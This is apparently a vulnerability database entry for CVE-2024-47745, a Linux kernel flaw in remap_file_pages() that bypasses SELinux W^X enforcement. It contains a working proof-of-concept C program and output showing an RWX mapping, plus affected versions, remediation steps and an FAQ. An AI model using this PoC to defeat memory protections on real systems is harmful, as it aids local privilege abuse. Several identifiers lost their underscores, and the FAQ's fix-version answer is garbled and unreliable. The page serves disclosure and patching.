CVE-2024-47745: mm: call the security_mmap_file() LSM hook in remap_file_pages()

Published Oct 21, 2024
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Updated

In the Linux kernel, the following vulnerability has been resolved:

mm: call the securitymmapfile() LSM hook in remapfilepages()

The remapfilepages syscall handler calls dommap() directly, which doesn't contain the LSM security check. And if the process has called personality(READIMPLIESEXEC) before and remapfilepages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux.

So we should check prot by securitymmapfile LSM hook in the remapfilepages syscall handler before dommap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux.

The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1].

The PoC:

$ cat > test.c

int main(void) { sizet pagesz = sysconf(SCPAGESIZE); int mfd = syscall(SYSmemfdcreate, "test", 0); const char buf = mmap(NULL, 4 pagesz, PROTREAD | PROTWRITE, MAPSHARED, mfd, 0); unsigned int old = syscall(SYSpersonality, 0xffffffff); syscall(SYSpersonality, READIMPLIESEXEC | old); syscall(SYSremapfilepages, buf, pagesz, 0, 2, 0); syscall(SYSpersonality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", ORDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); }

$ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)

[PM: subject line tweaks]

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Affected Software

11 affected componentsFixes available
Linux Linux kernel<6.6.54
Linux Linux kernel>=6.7<6.10.13
Linux Linux kernel>=6.11<6.11.2
debian/linux<=5.10.223-1, <=5.10.234-1
6.1.129-16.1.135-16.12.25-16.12.27-1
debian/linux-6.1
6.1.129-1~deb11u1
Debian Debian Linux=11.0
Linux Linux kernel<6.1.120
Linux Linux kernel>=6.2<6.6.54
Microsoft azl3 kernel 6.6.51.1-5<6.6.56.1-5
6.6.56.1-5
Microsoft azl3 kernel 6.6.56.1-5<6.6.56.1-5
6.6.56.1-5
Microsoft cbl2 kernel 5.15.186.1-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade debian/linux to a version that resolves this vulnerability.

    Fixed in 6.1.129-1Fixed in 6.1.135-1Fixed in 6.12.25-1Fixed in 6.12.27-1
  2. Upgrade

    Upgrade debian/linux-6.1 to a version that resolves this vulnerability.

    Fixed in 6.1.129-1~deb11u1
  3. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 6.6.56.1-5

Event History

Oct 21, 2024
CVE Published
via MITRE·12:14 PM
Data Sourced
via MITRE·12:14 PM
DescriptionSeverity
Data Sourced
via Red Hat·01:05 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·01:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Nov 9, 2024
Data Sourced
via Microsoft·12:00 AM
DescriptionSeverityWeaknessAffected Software
Updated
via Microsoft·08:00 AM
DescriptionSeverity
Updated
via Microsoft·08:00 AM
SeverityAffected Software
Updated
via Microsoft·08:00 AM
Affected Software
Feb 20, 2025
Data Sourced
via Launchpad·12:44 AM
Description
Apr 29, 2025
Data Sourced
via Ubuntu·12:55 AM
RemedyDescriptionSeverityAffected Software
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Frequently Asked Questions

1

What is the severity of CVE-2024-47745?

The severity of CVE-2024-47745 has not been officially rated, but it affects the Linux kernel's security mechanisms.

2

How do I fix CVE-2024-47745?

To fix CVE-2024-47745, upgrade to the latest version of the Linux kernel above 6.6.54 or between 6.11 and 6.11.2.

3

What versions of the Linux kernel are affected by CVE-2024-47745?

CVE-2024-47745 affects Linux kernel versions prior to 6.6.54 and those between 6.7 and 6.10.13, as well as those between 6.11 and 6.11.2.

4

What components are impacted by CVE-2024-47745?

CVE-2024-47745 impacts the remap_file_pages syscall handler's implementation in the Linux kernel.

5

Is CVE-2024-47745 a local or remote vulnerability?

CVE-2024-47745 is considered a local vulnerability, as it requires local access to exploit.

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